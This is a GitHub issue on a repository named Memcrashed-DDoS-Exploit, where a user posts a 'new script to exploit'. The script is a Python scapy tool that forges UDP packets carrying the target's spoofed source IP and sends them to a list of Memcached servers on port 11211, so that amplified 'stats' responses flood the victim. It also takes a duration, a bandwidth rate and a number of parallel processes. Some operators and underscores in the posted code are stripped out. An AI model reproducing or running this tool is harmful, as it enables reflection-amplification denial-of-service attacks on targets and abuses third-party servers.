649 / Memcrashed-DDoS-Exploit

DDoS attack tool for sending forged UDP packets to vulnerable Memcached servers obtained using Shodan API
1.32k stars 465 forks source link

new script to exploit #83

Open anonsecbotnetstudent19 opened 6 months ago

anonsecbotnetstudent19 commented 6 months ago

import sys import random import time import multiprocessing from scapy.all import IP, UDP, send, Raw from colorama import Fore

Load Bots list

with open("botmemcached.txt", "r") as f: bots = f.readlines()

Payload

payload = "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"

def attack(target_ip, target_port, duration, rate_mbps): target = (target_ip, int(target_port)) start_time = time.time() bytes_per_sec = rate_mbps 1024 1024 / 8

while time.time() - start_time < duration:
    server = random.choice(bots)
    server = server.strip()
    try:
        packet = (
            IP(dst=server, src=target_ip)
            / UDP(sport=int(target_port), dport=11211)
            / Raw(load=payload)
        )
        send(packet, verbose=False)
        time.sleep(len(packet) / bytes_per_sec)
    except Exception as e:
        print(
            f"{Fore.MAGENTA}Error while sending forged UDP packet\n{Fore.MAGENTA}{e}{Fore.RESET}"
        )
    else:
        print(
            f"{Fore.GREEN}[+] {Fore.YELLOW}Sent forged UDP packet from bot {server} to {'{}:{}'.format(*target)}.{Fore.RESET}"
        )

def send2attack(target_ip, target_port, duration, rate_mbps, numprocesses): processes = [] for in range(num_processes): mp = multiprocessing.Process(target=attack, args=(target_ip, target_port, duration, rate_mbps)) mp.daemon = True # Set daemon to True for automatic termination when the main program exits processes.append(mp) mp.start()

for mp in processes:
    mp.join()

def main(): if len(sys.argv) != 6: print("Usage: python3 memcached.py ") sys.exit(1)

target_ip = sys.argv[1]
target_port = sys.argv[2]
duration = int(sys.argv[3])
rate_mbps = float(sys.argv[4])
num_processes = int(sys.argv[5])

send2attack(target_ip, target_port, duration, rate_mbps, num_processes)

if name == "main": main()